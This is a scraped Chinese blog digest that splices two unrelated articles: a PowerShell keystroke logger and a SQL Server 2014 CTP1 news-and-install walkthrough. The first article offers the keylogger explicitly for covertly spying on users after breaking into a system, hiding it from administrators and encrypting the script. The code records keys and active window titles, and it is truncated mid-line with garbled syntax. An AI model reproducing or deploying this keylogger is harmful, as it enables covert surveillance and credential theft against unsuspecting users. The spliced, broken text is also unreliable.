2013年10月6日星期日

PowerShell定时记录操作系统行为

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订
PowerShell定时记录操作系统行为  阅读原文»

每日博报 精彩不止一点关闭
PowerShell定时记录操作系统行为

作为系统管理员,有些时候是需要记录系统中的其他用户的一些操作行为的,例如:当系统管理员怀疑系统存在漏洞,且已经有被植入后门或者创建隐藏账户时,就需要对曾经登陆的用户进行监控,保存其打开或者操作过的文件。或者在另外一个场景,当黑客拿下一个普通权限的shell之后,想看看最近有哪些用户登陆过,操作过什么,以便根据用户习惯采取进一步行动获取更高权限,这个时候记录用户行为就显得很重要了。

可能有读者觉得此时安装个监控软件不就行了么,拜托,你入侵别人的系统,你装个监控软件,你把管理员试做无物么?这个时候PowerShell这个vista及其之后Windows操作系统都自带的强大的命令行就有了用处,系统自带,不会被管理员发现异常,脚本不用编译,如果脚本内容再加个密,他们更猜不出是干什么用的,嘿嘿。如果要记录几个特性用于记录啥时候干了什么,无非要记录的有几样内容:操作,哪个文件或程序,时间。有这几个特点就基本上可以掌握用户的操作习惯了。

代码不算太难就不逐句解释了,有啥问题的读者可以给我留言询问,基本上关键语句都有注释的。代码如下:

          =====文件名:Get-TimedOperationRecord.ps1=====  function Get-TimedOperationRecord {  <#      Author:fuhj(powershell#live.cn ,http://fuhaijun.com)          Logs keys pressed, time and the active window.  .Parameter LogPath      Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)\key.log'.  .Parameter CollectionInterval      Specifies the interval in minutes to capture keystrokes. By default keystroke are captured indefinitely.  .Example      Get-TimedOperationRecord -LogPath C:\key.log  .Example      Get-TimedOperationRecord -CollectionInterval 20  #>      [CmdletBinding()] Param (          [Parameter(Position = 0)]          [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]          [String]          $LogPath = "$($Env:TEMP)\key.log",          [Parameter(Position = 1)]                    $CollectionInterval      )      $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)      Write-Verbose "Logging keystrokes to $LogPath"      $Initilizer = {          $LogPath = 'REPLACEME'          '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode          function KeyLog {              [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null              try              {                  $ImportDll =               }              catch              {                  $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')                  $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)                  $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)                  $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')                  $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))                  $FieldArray = [Reflection.FieldInfo[]] @(                      [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),                      [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),                      [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),                      [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),                      [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),                      [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')                  )                  $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', , [Type[]] @([Windows.Forms.Keys]))                  $FieldValueArray = [Object[]] @(                      'GetAsyncKeyState',                      $True,                      $False,                      $True,                      [Runtime.InteropServices.CallingConvention]::Winapi,                      [Runtime.InteropServices.CharSet]::Auto                  )                  $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)                  $PInvokeMethod.SetCustomAttribute($CustomAttribute)                  $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', , [Type[]] @(]))                  $FieldValueArray = [Object[]] @(                      'GetKeyboardState',                      $True,                      $False,                      $True,                      [Runtime.InteropServices.CallingConvention]::Winapi,                      [Runtime.InteropServices.CharSet]::Auto                  )                  $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)                  $PInvokeMethod.SetCustomAttribute($CustomAttribute)                  $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public,Static', , [Type[]] @(, ))                  $FieldValueArray = [Object[]] @(                      'MapVirtualKey',                      $False,                      $False,                      $True,                      [Runtime.InteropServices.CallingConvention]::Winapi,                      [Runtime.InteropServices.CharSet]::Auto                  )                  $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)                  $PInvokeMethod.SetCustomAttribute($CustomAttribute)                  $PIn$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', ,                      [Type[]] @(, , ], [Text.StringBuilder], , ))                  $FieldValueArray = [Object[]] @(                      'ToUnicode',                      $False,                      $False,                      $True,                      [Runtime.InteropServices.CallingConvention]::Winapi,                      [Runtime.InteropServices.CharSet]::Auto                  )                  $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)                  $PInvokeMethod.SetCustomAttribute($CustomAttribute)                  $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', , [Type[]] @())                  $FieldValueArray = [Object[]] @(                      'GetForegroundWindow',                      $True,                      $False,                      $True,                      [Runtime.InteropServices.CallingConvention]::Winapi,                      [Runtime.InteropServices.CharSet]::Auto                  )                  $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)                  $PInvokeMethod.SetCustomAttribute($CustomAttribute)                  $ImportDll = $TypeBuilder.CreateType()              }              Start-Sleep -Milliseconds 40                  try                  {                      #loop through typeable characters to see which is pressed                      for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)                      {                          $VirtualKey = $TypeableChar                          $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)                          #if the key is pressed                          if (($KeyResult -band 0x8000) -eq 0x8000)                          {                              #check for keys not mapped by virtual keyboard                              $LeftShift    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000                              $RightShift   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000                              $LeftCtrl     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000                              $RightCtrl    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000                              $LeftAlt      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000                              $RightAlt     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000                              $TabKey       = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000                              $SpaceBar     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000                              $DeleteKey    = ($ImportDll::
抢先体验SQL Server 2014 CTP1!  阅读原文»

抢先体验SQL Server 2014 CTP1!

根据微软官方给出的消息,下一版本数据库平台SQL Server 2014将在今年年底发布,其中将包含表粒度级别的内存OLTP功能,而与其他内存数据库不同的是,这一功能将无需昂贵的硬件作为支持。

  在本周新奥尔良举行的TechEd活动上,微软宣布SQL Server 2014的第一个技术预览版将于本月份正式提供下载,而产品正式GA的时间初步定在今年年底。根据TechTarget数据库网站之前的报道,在去年SQL PASS大会上,微软就已经介绍了他们最新的内存数据库(Hekaton项目),在SQL Server 2014中,我们就将看到它完整的面貌。

161855637.jpg

SQL Server数据库发展路线图

SQL Server咨询顾问Denny Cherry在接受TechTarget记者采访时表示:"微软新推出的内存OLTP功能,对于拥有超高I/O系统的企业应用来说是非常具有吸引力的,它能够很好地解决系统阻塞问题。"

Cherry介绍,在享受SQL Server 2014带来内存功能的同时,一些应用难免需要对代码进行修改,但它最大的优势在于内存功能将完美整合到SQL Server自身的数据库引擎当中。

  "我们对如何管理和开发SQLServer数据库已经很熟悉了,所以Hekaton不会带来新的技术门槛,微软也将加入一些自动化的功能。"Cherry表示。

  与以往有所不同,微软本次的新产品发布速度格外的快(参考"千呼万唤始出来"的SQL Server 2012)。这个月之内大家就能够下载SQL Server 2014的技术预览版了。Cherry表示,企业用户需要立即对开发工作进行部署,以便充分利用微软内存数据库技术解决业务需求。

  微软SQL Server部门主管Eron Kelly介绍,通过将交易处理放到内存中进行,新的SQL Server2014在测试中能够将性能提升50倍以上。在新版本中,DBA能够有两个选择,他们可以设定哪些数据库实例或者表放到内存当中。同时还将提供一个诊断工具,能够为DBA提供建议。而表粒度是SQL Server 2014与其他内存数据库最大的区别。

Kelly说:"你可以把选定的几个表放到内存中,其他的放在硬盘上。因此你不需要购买高端的硬件设备。这就是我们与SAP HANA的区别,使用现有的硬件设备就可以充分展现微软内存数据库的优势。"

  据了解,Hekaton项目的代码将会取消,新的功能将正式命名为SQL Server内存OLTP引擎(In-MemoryOLTP Engine)。

SQL Server 2014其他新特性

  除了内存数据库之外,SQLServer 2014还有一些值得关注的新特性。

  首先是新的列存储索引技术,叫做xVelocityColumnStore。它可以对数据进行持续加载,同时列存储索引能够让SQL Server在索引中对数据进行压缩,从而进一步提升查询性能。它与SQL Server 2012中的列存储索引有何区别?在SQL Server 2012中,当你将表转换成列存储模式之后,数据在索引中就不能改动了。而SQL Server 2014可以在已有的列存储索引中对数据进行加载和删除操作。

  另外一个新特性就是快速备份到Windows AzureSQL Database(微软云数据库)。在SQL Server 2014中,DBA可以在SSMS中点击右键,选择在Azure下创建第二个和第三个数据库备份,用于灾难恢复。

Kelly介绍,SQL Server 2014中还会添加一个新的数据存储管理功能,类似于OracleDatabase 12c的数据库热图(参考:Oracle Database12c的十二大新特性)。DBA可以通过它将活跃数据存储到固态硬盘上,其他相对"冷"的数据放在普通硬盘上。

好,下面我们就正式进入安装SQL Server 2014的步骤:

首先我选择的是Windows Server 2012 R2服务器系统如图。

162942153.jpg

装入SQL Server 2014的安装镜像,选择全新安装SQL Server 2014,如图。

161953873.jpg

进行安装程序支持规则检查,如图。

162004573.jpg

输入产品密钥,这里我们选择试用,如图。

162019945.jpg

勾上同意协议:

162049683.jpg

勾选产品更新,安装SQL Server 2014时需要联网升级,如图。

162102205.jpg

升级成功:

162114403.jpg

安装文件:

162124642.jpg

安装支持规则:

162134306.jpg

选择SQL Server功能安装,如图。

162144694.jpg

勾选希望安装的SQL功能,如图。

162157537.jpg

进行安装的规则检查,如图。

162210256.jpg

选择使用默认实例,如图。

162223291.jpg

确认满足磁盘空间要求,如图。

162237494.jpg

设置服务账户为域账户并设置启动方式为自动,保持默认,如图。

162249407.jpg

指定SQL Server的管理员,如图。这里把管理员账户添加进来。

没有评论:

发表评论